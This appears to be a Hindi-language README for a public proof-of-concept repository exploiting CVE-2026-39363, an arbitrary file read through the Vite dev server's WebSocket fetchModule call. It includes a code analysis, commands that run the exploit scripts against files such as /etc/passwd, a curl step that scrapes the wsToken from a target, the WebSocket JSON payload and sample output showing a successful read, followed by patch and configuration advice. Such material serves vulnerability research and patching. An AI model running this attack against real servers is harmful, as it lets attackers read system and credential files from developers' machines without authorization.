
CVE-2026-39363 के लिए एक्सप्लॉइट, जो Vite Dev Server WebSocket मनमाना फ़ाइल पढ़ने की भेद्यता है, जिसमें स्वचालित शोषण के लिए Python और Node.js स्क्रिप्ट और मैन्युअल चरण शामिल हैं।
| गुण | जानकारी |
|---|
| CVE ID | CVE-2026-39363 |
| GHSA ID | GHSA-p9ff-h696-f583 |
| भेद्यता प्रकार | Arbitrary File Read (मनमाना फ़ाइल पढ़ना) |
| प्रभावित घटक | Vite Dev Server |
| प्रभावित संस्करण | Vite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10 |
| CVSS स्कोर | High |
| सुधार संस्करण | Vite >= 6.2.3 |
Vite Dev Server के WebSocket fetchModule RPC कॉल में सुरक्षा जाँच बाईपास भेद्यता मौजूद है।
भेद्य कोड स्थान: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070
async function fetchModule(environment, url, importer, options = {}) {
// ...
const isFileUrl = url.startsWith("file://");
// महत्वपूर्ण भेद्यता बिंदु: जब URL file:// हो या importer न हो
// सीधे resolveId कॉल किया जाता है, isFileServingAllowed जाँच नहीं होती!
if (isFileUrl || !importer) {
const resolved = await environment.pluginContainer.resolveId(url);
if (!resolved) {
throw new Error(`[vite] cannot find entry point module '${url}'.`);
}
url = normalizeResolvedIdToUrl(environment, url, resolved);
}
// ...आगे प्रोसेस करके फ़ाइल सामग्री लौटाता है
}
┌─────────────────────────────────────────────────────────────────┐
│ HTTP अनुरोध पथ (सुरक्षा जाँच के साथ) │
├─────────────────────────────────────────────────────────────────┤
│ HTTP GET /@fs/C:/secret.txt │
│ │ │
│ ▼ │
│ ensureServingAccess() │
│ │ │
│ ▼ │
│ isFileServingAllowed() │
│ │ │
│ ▼ │
│ isFileLoadingAllowed() ────> BLOCKED │
│ (server.fs.allow की जाँच) │
└─────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────┐
│ WebSocket अनुरोध पथ (जाँच बाईपास) │
├─────────────────────────────────────────────────────────────────┤
│ WebSocket: fetchModule("file://C:/secret.txt") │
│ │ │
│ ▼ │
│ fetchModule() │
│ (isFileUrl || !importer) ───> सीधे resolveId │
│ │ │
│ ▼ │
│ loadAndTransform() │
│ isFileLoadingAllowed() ────> fs.allow कॉन्फ़िग पर निर्भर │
│ │ │
│ ▼ │
│ फ़ाइल सामग्री सफलतापूर्वक लौटाई जाती है (यदि fs.allow अनुमति दे) │
└─────────────────────────────────────────────────────────────────┘
HTTP पथ: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed बहु-स्तरीय जाँच से गुजरता है
WebSocket पथ:
fetchModule फ़ंक्शन isFileServingAllowed को कॉल नहीं करताloadAndTransform में isFileLoadingAllowed अभी भी सक्रिय हैserver.fs.allow कॉन्फ़िगरेशन ढीला है, तो मनमानी फ़ाइलें पढ़ी जा सकती हैं--host का उपयोग)fs.allow: ['..'] - पैरेंट डायरेक्टरी पढ़ी जा सकती हैfs.allow: ['C:/'] - पूरी C ड्राइव पढ़ी जा सकती हैfs.strict: false - पूरी तरह से असीमित/@vite/client तक पहुँच कर)# रिपॉजिटरी क्लोन करें
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363
# निर्भरताएँ इंस्टॉल करें
npm install
# Vite Dev Server शुरू करें (भेद्यता प्रदर्शित करने के लिए ढीला कॉन्फ़िग)
npm run dev
# मूल उपयोग (पोर्ट स्वतः पता लगाएं)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"
# प्रोजेक्ट के बाहर की फ़ाइल पढ़ें
python exp.py -t localhost -p 5173 -f "E:/secret.txt"
# टोकन निर्दिष्ट करें
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"
# wsToken प्राप्त करें
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'
# POC चलाएँ
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"
curl -s "http://target:5173/@vite/client" | grep wsToken
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
{
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "invoke_0",
"name": "fetchModule",
"data": ["file:///C:/Windows/win.ini"]
}
}
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini
[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])
============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
============================================================
CVE-2026-39363/
├── README.md # भेद्यता विश्लेषण दस्तावेज़
├── exp.py # Python exploit स्क्रिप्ट
├── poc.js # Node.js POC
├── vite.config.js # Vite कॉन्फ़िगरेशन फ़ाइल (प्रदर्शन हेतु)
├── package.json # प्रोजेक्ट कॉन्फ़िगरेशन
├── src/ # स्रोत कोड निर्देशिका
│ ├── main.js
│ ├── counter.js
│ └── style.css
├── public/ # स्थैतिक संसाधन
└── index.html # प्रवेश HTML
npm update vite
# या
npm install vite@latest
// vite.config.js
export default defineConfig({
server: {
fs: {
strict: true,
allow: ['.'] // केवल प्रोजेक्ट रूट डायरेक्टरी की अनुमति
}
}
})
--host का उपयोग करके सेवा उजागर करने से बचेंयह प्रोजेक्ट केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कृपया इस भेद्यता उपयोग कोड का उपयोग किसी भी अवैध गतिविधि के लिए न करें। इस कोड का परीक्षण करने से पहले, सुनिश्चित करें कि आपको लक्ष्य सिस्टम के स्वामी से स्पष्ट अनुमति प्राप्त हुई है।
MIT License